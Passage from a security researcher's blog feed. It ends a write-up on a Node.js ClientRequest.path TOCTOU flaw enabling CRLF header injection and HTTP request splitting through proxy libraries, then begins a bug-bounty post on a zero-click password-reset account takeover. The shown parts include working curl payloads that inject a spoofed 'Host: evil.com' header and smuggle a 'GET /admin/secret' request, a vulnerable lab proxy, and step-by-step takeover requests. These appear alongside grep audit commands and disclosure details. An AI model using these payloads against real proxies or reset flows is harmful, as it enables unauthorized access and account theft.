<span class="kd">const</span> <span class="p">{</span> <span class="nx">Readable</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">stream</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">stream</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Readable</span><span class="p">({</span> <span class="nx">read</span><span class="p">()</span> <span class="p">{</span> <span class="k">this</span><span class="p">.</span><span class="nx">push</span><span class="p">(</span><span class="dl">'</span><span class="s1">data</span><span class="dl">'</span><span class="p">);</span> <span class="k">this</span><span class="p">.</span><span class="nx">push</span><span class="p">(</span><span class="kc">null</span><span class="p">);</span> <span class="p">}</span> <span class="p">});</span>
<span class="kd">const</span> <span class="nx">promise</span> <span class="o">=</span> <span class="nx">Wreck</span><span class="p">.</span><span class="nx">request</span><span class="p">(</span><span class="dl">'</span><span class="s1">POST</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">http://target.com/safe</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span> <span class="na">payload</span><span class="p">:</span> <span class="nx">stream</span> <span class="p">});</span>
<span class="nx">promise</span><span class="p">.</span><span class="nx">req</span><span class="p">.</span><span class="nx">path</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">/admin</span><span class="se">\r\n</span><span class="s1">Host: evil</span><span class="se">\r\n\r\n</span><span class="s1">POST /secret</span><span class="dl">'</span><span class="p">;</span>
</code></pre></div></div>

<hr />

<h2 id="9-libraries-that-got-it-right">9. Libraries That Got It Right</h2>

<p>Not every library is affected. Several popular HTTP libraries have architectures that naturally close the TOCTOU window, either by accident or by design.</p>

<table>
  <thead>
    <tr>
      <th>Library</th>
      <th style="text-align: center">Weekly Downloads</th>
      <th>Why It’s Safe</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>follow-redirects</strong></td>
      <td style="text-align: center">77.7M</td>
      <td><code class="language-plaintext highlighter-rouge">._currentRequest</code> is private — never exposed via public API</td>
    </tr>
    <tr>
      <td><strong>axios</strong></td>
      <td style="text-align: center">45M</td>
      <td>Uses follow-redirects internally — no raw <code class="language-plaintext highlighter-rouge">ClientRequest</code> exposure</td>
    </tr>
    <tr>
      <td><strong>undici / fetch()</strong></td>
      <td style="text-align: center">30M+</td>
      <td>Does not use <code class="language-plaintext highlighter-rouge">ClientRequest</code> at all — entirely different HTTP stack</td>
    </tr>
    <tr>
      <td><strong>got</strong></td>
      <td style="text-align: center">24M</td>
      <td>Calls <code class="language-plaintext highlighter-rouge">._sendBody()</code> <strong>BEFORE</strong> emitting <code class="language-plaintext highlighter-rouge">'request'</code> — headers already flushed</td>
    </tr>
    <tr>
      <td><strong>needle</strong></td>
      <td style="text-align: center">3M</td>
      <td>Calls <code class="language-plaintext highlighter-rouge">.end()</code> <strong>BEFORE</strong> exposing <code class="language-plaintext highlighter-rouge">out.request</code> to user code</td>
    </tr>
    <tr>
      <td><strong>phin / centra</strong></td>
      <td style="text-align: center">1.9M</td>
      <td><code class="language-plaintext highlighter-rouge">req.end()</code> synchronous in same Promise executor — <code class="language-plaintext highlighter-rouge">req</code> never exposed</td>
    </tr>
    <tr>
      <td><strong>@fastify/reply-from</strong></td>
      <td style="text-align: center">1.5M</td>
      <td>Uses <code class="language-plaintext highlighter-rouge">new URL()</code> (WHATWG) which percent-encodes CRLF characters</td>
    </tr>
    <tr>
      <td><strong>express-http-proxy</strong></td>
      <td style="text-align: center">350K</td>
      <td>Calls <code class="language-plaintext highlighter-rouge">http.request()</code> directly with clean options — no post-mutation</td>
    </tr>
    <tr>
      <td><strong>h3 <code class="language-plaintext highlighter-rouge">proxyRequest()</code></strong></td>
      <td style="text-align: center">via Nitro</td>
      <td>Uses <code class="language-plaintext highlighter-rouge">fetch()</code> API, not <code class="language-plaintext highlighter-rouge">http.request()</code> — independent CRLF validation</td>
    </tr>
  </tbody>
</table>

<h3 id="what-makes-a-library-safe">What Makes a Library Safe?</h3>

<p>The pattern is clear. Safe libraries follow one of these strategies:</p>

<p><strong>1. Flush before expose</strong> — Call <code class="language-plaintext highlighter-rouge">.write()</code>, <code class="language-plaintext highlighter-rouge">.end()</code>, or <code class="language-plaintext highlighter-rouge">.pipe()</code> <em>before</em> emitting events or returning the <code class="language-plaintext highlighter-rouge">ClientRequest</code> to user code. (<code class="language-plaintext highlighter-rouge">got</code>, <code class="language-plaintext highlighter-rouge">needle</code>, <code class="language-plaintext highlighter-rouge">phin</code>)</p>

<p><strong>2. Never expose</strong> — Keep the <code class="language-plaintext highlighter-rouge">ClientRequest</code> as a private/local variable. Never emit it via events or return it before headers are sent. (<code class="language-plaintext highlighter-rouge">follow-redirects</code>, <code class="language-plaintext highlighter-rouge">axios</code>)</p>

<p><strong>3. Don’t use <code class="language-plaintext highlighter-rouge">ClientRequest</code></strong> — Use <code class="language-plaintext highlighter-rouge">fetch()</code>, <code class="language-plaintext highlighter-rouge">undici</code>, or another HTTP implementation that doesn’t have this writable <code class="language-plaintext highlighter-rouge">.path</code> property. (<code class="language-plaintext highlighter-rouge">h3</code>, <code class="language-plaintext highlighter-rouge">undici</code>)</p>

<p><strong>4. Encode at construction</strong> — Use <code class="language-plaintext highlighter-rouge">new URL()</code> (WHATWG parser) which percent-encodes special characters before they ever reach <code class="language-plaintext highlighter-rouge">http.request()</code>. (<code class="language-plaintext highlighter-rouge">@fastify/reply-from</code>)</p>

<hr />

<h2 id="10-live-demo">10. Live Demo</h2>

<p>To demonstrate this vulnerability in practice, I set up a minimal but realistic lab: a proxy that rewrites paths using the most common pattern found in real-world code, and a backend that logs every request it receives.</p>

<!-- [TODO: INSERT VIDEO/GIF HERE] -->

<h3 id="the-setup">The Setup</h3>

<p><strong>Backend</strong> (<code class="language-plaintext highlighter-rouge">backend.js</code>) — a simple Express server that logs every incoming request:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">express</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">"</span><span class="s2">express</span><span class="dl">"</span><span class="p">);</span>

<span class="kd">const</span> <span class="nx">app</span> <span class="o">=</span> <span class="nx">express</span><span class="p">();</span>
<span class="nx">app</span><span class="p">.</span><span class="nx">use</span><span class="p">(</span><span class="nx">express</span><span class="p">.</span><span class="nx">json</span><span class="p">());</span>
<span class="nx">r_idx</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

<span class="nx">app</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">"</span><span class="s2">*</span><span class="dl">"</span><span class="p">,</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s2">`[</span><span class="p">${</span><span class="o">++</span><span class="nx">r_idx</span><span class="p">}</span><span class="s2">] </span><span class="p">${</span><span class="nx">req</span><span class="p">.</span><span class="nx">method</span><span class="p">}</span><span class="s2"> </span><span class="p">${</span><span class="nx">req</span><span class="p">.</span><span class="nx">path</span><span class="p">}</span><span class="s2">`</span><span class="p">);</span>
  <span class="nx">res</span><span class="p">.</span><span class="nx">json</span><span class="p">({</span>
    <span class="na">ok</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
    <span class="na">source</span><span class="p">:</span> <span class="dl">"</span><span class="s2">target-server</span><span class="dl">"</span><span class="p">,</span>
    <span class="na">method</span><span class="p">:</span> <span class="nx">req</span><span class="p">.</span><span class="nx">method</span><span class="p">,</span>
    <span class="na">url</span><span class="p">:</span> <span class="nx">req</span><span class="p">.</span><span class="nx">originalUrl</span><span class="p">,</span>
    <span class="na">path</span><span class="p">:</span> <span class="nx">req</span><span class="p">.</span><span class="nx">path</span><span class="p">,</span>
    <span class="na">query</span><span class="p">:</span> <span class="nx">req</span><span class="p">.</span><span class="nx">query</span><span class="p">,</span>
    <span class="na">headers</span><span class="p">:</span> <span class="p">{</span>
      <span class="na">host</span><span class="p">:</span> <span class="nx">req</span><span class="p">.</span><span class="nx">headers</span><span class="p">.</span><span class="nx">host</span><span class="p">,</span>
      <span class="dl">"</span><span class="s2">x-proxy-test</span><span class="dl">"</span><span class="p">:</span> <span class="nx">req</span><span class="p">.</span><span class="nx">headers</span><span class="p">[</span><span class="dl">"</span><span class="s2">x-proxy-test</span><span class="dl">"</span><span class="p">]</span> <span class="o">||</span> <span class="kc">null</span><span class="p">,</span>
    <span class="p">},</span>
  <span class="p">});</span>
<span class="p">});</span>

<span class="nx">app</span><span class="p">.</span><span class="nx">post</span><span class="p">(</span><span class="dl">"</span><span class="s2">*</span><span class="dl">"</span><span class="p">,</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s2">`[</span><span class="p">${</span><span class="o">++</span><span class="nx">r_idx</span><span class="p">}</span><span class="s2">] </span><span class="p">${</span><span class="nx">req</span><span class="p">.</span><span class="nx">method</span><span class="p">}</span><span class="s2"> </span><span class="p">${</span><span class="nx">req</span><span class="p">.</span><span class="nx">path</span><span class="p">}</span><span class="s2">`</span><span class="p">);</span>
  <span class="nx">res</span><span class="p">.</span><span class="nx">json</span><span class="p">({</span>
    <span class="na">ok</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
    <span class="na">source</span><span class="p">:</span> <span class="dl">"</span><span class="s2">target-server</span><span class="dl">"</span><span class="p">,</span>
    <span class="na">method</span><span class="p">:</span> <span class="nx">req</span><span class="p">.</span><span class="nx">method</span><span class="p">,</span>
    <span class="na">url</span><span class="p">:</span> <span class="nx">req</span><span class="p">.</span><span class="nx">originalUrl</span><span class="p">,</span>
    <span class="na">path</span><span class="p">:</span> <span class="nx">req</span><span class="p">.</span><span class="nx">path</span><span class="p">,</span>
    <span class="na">query</span><span class="p">:</span> <span class="nx">req</span><span class="p">.</span><span class="nx">query</span><span class="p">,</span>
    <span class="na">body</span><span class="p">:</span> <span class="nx">req</span><span class="p">.</span><span class="nx">body</span><span class="p">,</span>
    <span class="na">headers</span><span class="p">:</span> <span class="p">{</span>
      <span class="na">host</span><span class="p">:</span> <span class="nx">req</span><span class="p">.</span><span class="nx">headers</span><span class="p">.</span><span class="nx">host</span><span class="p">,</span>
      <span class="dl">"</span><span class="s2">x-proxy-test</span><span class="dl">"</span><span class="p">:</span> <span class="nx">req</span><span class="p">.</span><span class="nx">headers</span><span class="p">[</span><span class="dl">"</span><span class="s2">x-proxy-test</span><span class="dl">"</span><span class="p">]</span> <span class="o">||</span> <span class="kc">null</span><span class="p">,</span>
    <span class="p">},</span>
  <span class="p">});</span>
<span class="p">});</span>

<span class="nx">app</span><span class="p">.</span><span class="nx">listen</span><span class="p">(</span><span class="mi">4000</span><span class="p">,</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">Target server running on http://localhost:4000</span><span class="dl">"</span><span class="p">);</span>
<span class="p">});</span>
</code></pre></div></div>

<p><strong>Proxy</strong> (<code class="language-plaintext highlighter-rouge">proxy.js</code>) — an Express proxy that extracts a catch-all parameter and assigns it to <code class="language-plaintext highlighter-rouge">proxyReq.path</code>:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">express</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">express</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="p">{</span> <span class="nx">createProxyMiddleware</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">http-proxy-middleware</span><span class="dl">'</span><span class="p">);</span>

<span class="kd">const</span> <span class="nx">app</span> <span class="o">=</span> <span class="nx">express</span><span class="p">();</span>

<span class="nx">app</span><span class="p">.</span><span class="nx">use</span><span class="p">(</span><span class="dl">'</span><span class="s1">/proxy/:target(*)</span><span class="dl">'</span><span class="p">,</span> <span class="nx">createProxyMiddleware</span><span class="p">({</span>
  <span class="na">target</span><span class="p">:</span> <span class="dl">'</span><span class="s1">http://backend:4000</span><span class="dl">'</span><span class="p">,</span>
  <span class="na">changeOrigin</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
  <span class="na">on</span><span class="p">:</span> <span class="p">{</span>
    <span class="na">proxyReq</span><span class="p">:</span> <span class="p">(</span><span class="nx">proxyReq</span><span class="p">,</span> <span class="nx">req</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
      <span class="nx">proxyReq</span><span class="p">.</span><span class="nx">path</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">/</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">req</span><span class="p">.</span><span class="nx">params</span><span class="p">.</span><span class="nx">target</span><span class="p">;</span>
      <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s2">`[PROXY] </span><span class="p">${</span><span class="nx">req</span><span class="p">.</span><span class="nx">method</span><span class="p">}</span><span class="s2"> </span><span class="p">${</span><span class="nx">req</span><span class="p">.</span><span class="nx">originalUrl</span><span class="p">}</span><span class="s2"> -&gt; </span><span class="p">${</span><span class="nx">proxyReq</span><span class="p">.</span><span class="nx">path</span><span class="p">}</span><span class="s2">`</span><span class="p">);</span>
    <span class="p">}</span>
  <span class="p">}</span>
<span class="p">}));</span>

<span class="nx">app</span><span class="p">.</span><span class="nx">listen</span><span class="p">(</span><span class="mi">3000</span><span class="p">,</span> <span class="dl">'</span><span class="s1">0.0.0.0</span><span class="dl">'</span><span class="p">,</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">Proxy running on http://0.0.0.0:3000</span><span class="dl">'</span><span class="p">);</span>
  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">  Example: /proxy/hello</span><span class="dl">'</span><span class="p">);</span>
<span class="p">});</span>
</code></pre></div></div>

<p>This is a completely realistic pattern. The proxy takes a path from the URL (<code class="language-plaintext highlighter-rouge">:target</code> parameter), prepends <code class="language-plaintext highlighter-rouge">/</code>, and assigns it to <code class="language-plaintext highlighter-rouge">proxyReq.path</code>. This is exactly how dozens of real-world proxies handle path rewriting.</p>

<p>The problem: <code class="language-plaintext highlighter-rouge">req.params.target</code> comes directly from the user’s URL. Express decodes percent-encoded characters in route parameters. So <code class="language-plaintext highlighter-rouge">%0D%0A</code> in the URL becomes <code class="language-plaintext highlighter-rouge">\r\n</code> in <code class="language-plaintext highlighter-rouge">req.params.target</code>, which then flows into <code class="language-plaintext highlighter-rouge">proxyReq.path</code> — <strong>after</strong> <code class="language-plaintext highlighter-rouge">INVALID_PATH_REGEX</code> validation has already passed.</p>

<h3 id="exploit-header-injection">Exploit: Header Injection</h3>

<p>A single request with percent-encoded CRLF in the path:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="s2">"http://localhost:3000/proxy/hello%20HTTP/1.1%0D%0AX-Injected:%20true%0D%0AHost:%20evil.com%0D%0A%0D%0A"</span>
</code></pre></div></div>

<p>The proxy decodes this and assigns to <code class="language-plaintext highlighter-rouge">proxyReq.path</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/hello HTTP/1.1\r\nX-Injected: true\r\nHost: evil.com\r\n\r\n
</code></pre></div></div>

<p>The backend receives a request with the injected <code class="language-plaintext highlighter-rouge">X-Injected</code> header and a spoofed <code class="language-plaintext highlighter-rouge">Host</code>.</p>

<h3 id="exploit-full-request-splitting">Exploit: Full Request Splitting</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="s2">"http://localhost:3000/proxy/hello%20HTTP/1.1%0D%0AHost:%20x%0D%0A%0D%0AGET%20/admin/secret%20HTTP/1.1%0D%0AHost:%20x%0D%0A%0D%0A"</span>
</code></pre></div></div>

<p>The proxy sends <strong>one</strong> request. The backend logs <strong>two</strong>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[1] GET /hello
[2] GET /admin/secret    ← this was never requested by the client
</code></pre></div></div>

<p>One curl command, two backend requests. The second request (<code class="language-plaintext highlighter-rouge">GET /admin/secret</code>) is entirely attacker-controlled and reaches the backend as an independent, authenticated request on the same TCP connection.</p>

<p><img src="/assets/2026-02-27-nodejs-toctou/demo.gif" alt="live_demo" /></p>

<hr />

<h2 id="11-nodejs-response-not-a-vulnerability">11. Node.js Response: “Not a Vulnerability”</h2>

<p>I reported this finding to the Node.js security team through their <a href="https://hackerone.com/nodejs">HackerOne program</a>, providing:</p>

<ul>
  <li>Full root cause analysis with source code references</li>
  <li>Working proof of concept</li>
  <li>Ecosystem impact assessment showing 7 vulnerable libraries with 160M+ combined weekly downloads</li>
  <li>13 confirmed real-world production sinks</li>
</ul>

<p>Their response:</p>

<blockquote>
  <p><em>“We have assessed it and it’s not a vulnerability according our current threat model. In 2018 we did not have one, and if we did we would not have classified that as a vulnerability.”</em></p>
</blockquote>

<p>This references CVE-2018-12116 — the same class of vulnerability, but exploitable directly at the constructor level (via Unicode truncation). The Node.js team’s position is that:</p>

<ol>
  <li>The 2018 constructor-level fix was not a vulnerability under their current threat model either</li>
  <li><code class="language-plaintext highlighter-rouge">ClientRequest.path</code> being a writable property is by design</li>
  <li>Libraries that expose the raw <code class="language-plaintext highlighter-rouge">ClientRequest</code> to user code are responsible for their own validation</li>
</ol>

<p>While I respect the Node.js team’s right to define their threat model, I disagree with this assessment for several reasons:</p>

<ul>
  <li>
    <p><strong>The validation exists but is incomplete.</strong> Node.js <em>does</em> validate <code class="language-plaintext highlighter-rouge">options.path</code> at construction — this creates a false sense of security. Developers reasonably assume that if CRLF in the constructor throws an error, the property is somehow protected.</p>
  </li>
  <li>
    <p><strong>The fix would be trivial.</strong> A setter on <code class="language-plaintext highlighter-rouge">.path</code> that re-runs <code class="language-plaintext highlighter-rouge">INVALID_PATH_REGEX</code>, or using <code class="language-plaintext highlighter-rouge">Object.defineProperty</code> to make it read-only after construction, would close the window without breaking any legitimate use case.</p>
  </li>
  <li>
    <p><strong>The blast radius is massive.</strong> 160M+ weekly downloads across 7 libraries, with confirmed sinks in production projects by Microsoft, Google, Stanford, and UN/FAO. This is not a theoretical concern.</p>
  </li>
</ul>

<hr />

<h2 id="12-call-to-arms">12. Call to Arms</h2>

<p>Since Node.js has decided not to fix the root cause, <strong>the burden falls on the ecosystem.</strong></p>

<p>Every library that uses <code class="language-plaintext highlighter-rouge">http.request()</code> and exposes the resulting <code class="language-plaintext highlighter-rouge">ClientRequest</code> before <code class="language-plaintext highlighter-rouge">_implicitHeader()</code> is called creates a potential TOCTOU window. Every application that mutates <code class="language-plaintext highlighter-rouge">ClientRequest.path</code> in that window with user-controlled data is a potential HTTP Request Splitting vulnerability.</p>

<h3 id="what-im-looking-for">What I’m Looking For</h3>

<p>I am actively looking for:</p>

<ol>
  <li>
    <p><strong>Other HTTP libraries with open TOCTOU windows.</strong> The seven I found are certainly not all of them. Any library that wraps <code class="language-plaintext highlighter-rouge">http.request()</code> and exposes the <code class="language-plaintext highlighter-rouge">ClientRequest</code> via events, callbacks, or return values before header flush could be affected.</p>
  </li>
  <li>
    <p><strong>Applications that mutate <code class="language-plaintext highlighter-rouge">ClientRequest.path</code></strong> in event handlers (<code class="language-plaintext highlighter-rouge">proxyReq</code>, <code class="language-plaintext highlighter-rouge">request</code>, etc.) with data derived from user input — query parameters, headers, URL paths.</p>
  </li>
  <li>
    <p><strong>Custom <code class="language-plaintext highlighter-rouge">http.request()</code> implementations</strong> in production applications that follow the same pattern of exposing <code class="language-plaintext highlighter-rouge">ClientRequest</code> before flush.</p>
  </li>
</ol>

<h3 id="how-to-check-your-code">How to Check Your Code</h3>

<p>Search your codebase for these patterns:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Proxy libraries (node-http-proxy, http-proxy-middleware)</span>
<span class="nb">grep</span> <span class="nt">-rn</span> <span class="s2">"proxyReq</span><span class="se">\.</span><span class="s2">path</span><span class="se">\s</span><span class="s2">*="</span> <span class="nb">.</span>
<span class="nb">grep</span> <span class="nt">-rn</span> <span class="s2">"</span><span class="se">\.</span><span class="s2">on.*proxyReq"</span> <span class="nb">.</span>

<span class="c"># HTTP clients (superagent, request)</span>
<span class="nb">grep</span> <span class="nt">-rn</span> <span class="s2">"</span><span class="se">\.</span><span class="s2">on.*'request'"</span> <span class="nb">.</span> | <span class="nb">grep</span> <span class="nt">-i</span> <span class="s2">"</span><span class="se">\.</span><span class="s2">path</span><span class="se">\s</span><span class="s2">*="</span>
<span class="nb">grep</span> <span class="nt">-rn</span> <span class="s2">"</span><span class="se">\.</span><span class="s2">req</span><span class="se">\.</span><span class="s2">path</span><span class="se">\s</span><span class="s2">*="</span> <span class="nb">.</span>

<span class="c"># Generic — any ClientRequest mutation</span>
<span class="nb">grep</span> <span class="nt">-rn</span> <span class="s2">"clientReq</span><span class="se">\.</span><span class="s2">path</span><span class="se">\s</span><span class="s2">*="</span> <span class="nb">.</span>
<span class="nb">grep</span> <span class="nt">-rn</span> <span class="s2">"</span><span class="se">\.</span><span class="s2">path</span><span class="se">\s</span><span class="s2">*=.*req</span><span class="se">\.</span><span class="s2">"</span> <span class="nb">.</span>
</code></pre></div></div>

<p>If you find matches, check whether:</p>

<ol>
  <li>The value assigned to <code class="language-plaintext highlighter-rouge">.path</code> can be influenced by user input (query params, headers, URL segments)</li>
  <li>The mutation happens after <code class="language-plaintext highlighter-rouge">http.request()</code> construction but before <code class="language-plaintext highlighter-rouge">.write()</code>/<code class="language-plaintext highlighter-rouge">.end()</code>/<code class="language-plaintext highlighter-rouge">.pipe()</code></li>
</ol>

<p>If both conditions are true, you likely have a request splitting vulnerability.</p>

<h3 id="collaborate">Collaborate</h3>

<p>If you discover vulnerable patterns in libraries or applications, I’d love to hear from you. I believe that community-driven security research is the most effective way to address systemic issues like this — especially when the upstream vendor has decided not to act.</p>

<p>You can reach me at:</p>

<ul>
  <li><strong>GitHub:</strong> <a href="https://github.com/r3verii">@r3verii</a></li>
  <li><strong>Email:</strong> <a href="mailto:tuoemail@dominio.com">r3verii2@gmail.com</a></li>
  <li><strong>Linkedin:</strong> <a href="https://www.linkedin.com/in/martino-spagnuolo/">Martino Spagnuolo</a></li>
</ul>

<p>This is an open invitation. Whether you’re a security researcher, a library maintainer, or a developer who found this pattern in your own code — let’s work together to map and mitigate this vulnerability across the Node.js ecosystem.</p>

<hr />

<h3 id="research-timeline">Research Timeline</h3>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Milestone</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Feb 2026</td>
      <td>Root cause discovery and initial PoC</td>
    </tr>
    <tr>
      <td>Feb 2026</td>
      <td>HackerOne report submitted to Node.js</td>
    </tr>
    <tr>
      <td>Feb 2026</td>
      <td>Node.js response: “not a vulnerability”</td>
    </tr>
    <tr>
      <td>Feb 2026</td>
      <td>Ecosystem audit: 7 libraries, 160M+ downloads/week</td>
    </tr>
    <tr>
      <td>Feb 2026</td>
      <td>Part 1 published (this paper)</td>
    </tr>
    <tr>
      <td>TBD</td>
      <td>Part 2: Confirmed vulnerable applications</td>
    </tr>
  </tbody>
</table>

<hr />

<p><em>This research was conducted with the assistance of AI for code analysis and for drafting the final paper. All findings were reported responsibly prior to public disclosure. No production systems were exploited during this research; all tests were performed on local instances of the affected software.</em></p>]]></content><author><name>Martino Spagnuolo</name></author><category term="cve" /><summary type="html"><![CDATA[Deep dive into a TOCTOU vulnerability in Node.js's ClientRequest.path that bypasses CRLF validation and enables Header Injection and HTTP Request Splitting across 7+ major HTTP libraries totaling 160M+ weekly downloads.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://r3verii.github.io/assets/2026-02-27-nodejs-toctou/cover.jpg" /><media:content medium="image" url="https://r3verii.github.io/assets/2026-02-27-nodejs-toctou/cover.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Zero‑Click ATO via Unbound Password‑Reset Token in one of the world’s largest gambling platforms</title><link href="https://r3verii.github.io/bugbounty/2025/10/18/zero-click-ato-gambling-platform.html" rel="alternate" type="text/html" title="Zero‑Click ATO via Unbound Password‑Reset Token in one of the world’s largest gambling platforms" /><published>2025-10-18T00:14:54+00:00</published><updated>2025-10-18T00:14:54+00:00</updated><id>https://r3verii.github.io/bugbounty/2025/10/18/zero-click-ato-gambling-platform</id><content type="html" xml:base="https://r3verii.github.io/bugbounty/2025/10/18/zero-click-ato-gambling-platform.html"><![CDATA[<p><img src="/assets/2025-10-18-zero-click-ato-gambling-platform/cover.png" alt="Cover" /></p>

<blockquote>
  <p><strong>Disclosure note</strong>: The issue described here has been <strong>fixed</strong> by the vendor. All domains, identifiers and sensitive details have been <strong>redacted</strong>. This post is for educational purposes only and mirrors a bug bounty report I submitted. The target is one of the <strong>largest gambling platforms in the world</strong>. Bounty awarded: <strong>€3,500</strong>.</p>
</blockquote>

<h1 id="tldr">TL;DR</h1>

<p>A password-reset flow set a cookie (<code class="language-plaintext highlighter-rouge">OTP_TOKEN</code>) after OTP validation. That token was <strong>single-use</strong> but <strong>not bound</strong> to the subject (email/account) it was issued for. An attacker could validate OTP for <strong>their own account</strong> to get a fresh <code class="language-plaintext highlighter-rouge">OTP_TOKEN</code>, then immediately use that token to <strong>confirm</strong> the password reset for a <strong>different</strong> account (the victim) — as long as they supplied the victim’s <code class="language-plaintext highlighter-rouge">jwt</code> and <code class="language-plaintext highlighter-rouge">accountId</code> (returned by <code class="language-plaintext highlighter-rouge">/generate</code>).</p>

<p><strong>Impact:</strong> zero‑click <strong>Account Takeover (ATO)</strong> → direct wallet access/withdrawals and exposure of personal/financial data.<br />
<strong>My proposed CVSS v3.1:</strong> <strong>AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.8 (Critical)</strong>.<br />
<strong>Program triage:</strong> <strong>High</strong>, arguing that knowledge of a <strong>non‑public email</strong> tied to a public username made <strong>Attack Complexity = High</strong>, thus lowering the score. I don’t fully agree, but I respect the ruling.</p>

<hr />

<h2 id="background">Background</h2>

<p>During the password reset flow, after a successful OTP validation, the backend returned a cookie (here referred to as <code class="language-plaintext highlighter-rouge">OTP_TOKEN</code>). This token was treated as a <strong>flow authorization token</strong> for the final reset step (<code class="language-plaintext highlighter-rouge">/recovery/password/confirm</code>). Crucially, it was:</p>
<ul>
  <li><strong>Single‑use</strong> (consumed on the first successful confirm), yet</li>
  <li><strong>Not bound</strong> to the identity/transaction for which it was issued (no binding to <code class="language-plaintext highlighter-rouge">accountId</code>/<code class="language-plaintext highlighter-rouge">email</code>/<code class="language-plaintext highlighter-rouge">requestId</code>/<code class="language-plaintext highlighter-rouge">transaction_type</code>).</li>
</ul>

<p>All testing was performed with my <strong>own test accounts</strong>. No third‑party accounts or data were accessed.</p>

<hr />

<h2 id="affected-redacted-endpoints">Affected (Redacted) Endpoints</h2>

<blockquote>
  <p>API base URL intentionally redacted. Only paths are shown.</p>
</blockquote>

<ul>
  <li><code class="language-plaintext highlighter-rouge">POST /api/otp-core-ms/v2/generate</code></li>
  <li><code class="language-plaintext highlighter-rouge">POST /api/otp-core-ms/v1/validate</code></li>
  <li><code class="language-plaintext highlighter-rouge">POST /api/account-ms/v1/recovery/password/confirm</code></li>
</ul>

<hr />

<h2 id="vulnerability-overview">Vulnerability Overview</h2>

<ol>
  <li><strong>Unbound flow token:</strong> After <code class="language-plaintext highlighter-rouge">/validate</code>, the server set <code class="language-plaintext highlighter-rouge">OTP_TOKEN</code> (cookie). That token was <strong>accepted</strong> by <code class="language-plaintext highlighter-rouge">/confirm</code> <strong>even if</strong> the <code class="language-plaintext highlighter-rouge">jwt</code>/<code class="language-plaintext highlighter-rouge">accountId</code> in the JSON body belonged to <strong>another account</strong>.</li>
  <li><strong>Single‑use nuance:</strong> The token is <strong>not reusable</strong>, so the attacker must <strong>not</strong> use it for their own account. They must spend the token <strong>once</strong> — on the victim’s <code class="language-plaintext highlighter-rouge">/confirm</code> within the token TTL.</li>
  <li><strong>Result:</strong> A successful <strong>cross‑account password reset</strong> (zero‑click from the victim’s perspective).</li>
</ol>

<hr />

<h2 id="stepbystep-poc-sanitized">Step‑by‑Step PoC (Sanitized)</h2>

<p>Let’s use two demo identities:</p>

<ul>
  <li><strong>Account A (attacker):</strong> <code class="language-plaintext highlighter-rouge">attacker@example.com</code></li>
  <li><strong>Account B (victim):</strong> <code class="language-plaintext highlighter-rouge">victim@example.com</code></li>
</ul>

<blockquote>
  <p>⚠️ The token is single‑use. After <code class="language-plaintext highlighter-rouge">/validate</code> for Account A, <strong>do not</strong> call <code class="language-plaintext highlighter-rouge">/confirm</code> for A. Use the token once — to confirm the reset for <strong>B</strong>.</p>
</blockquote>

<h3 id="1-generate-otp-for-account-a-attacker">1) Generate OTP for <strong>Account A</strong> (attacker)</h3>

<p><strong>Request</strong></p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">POST</span> <span class="nn">/api/otp-core-ms/v2/generate</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">2</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">[redacted]</span>
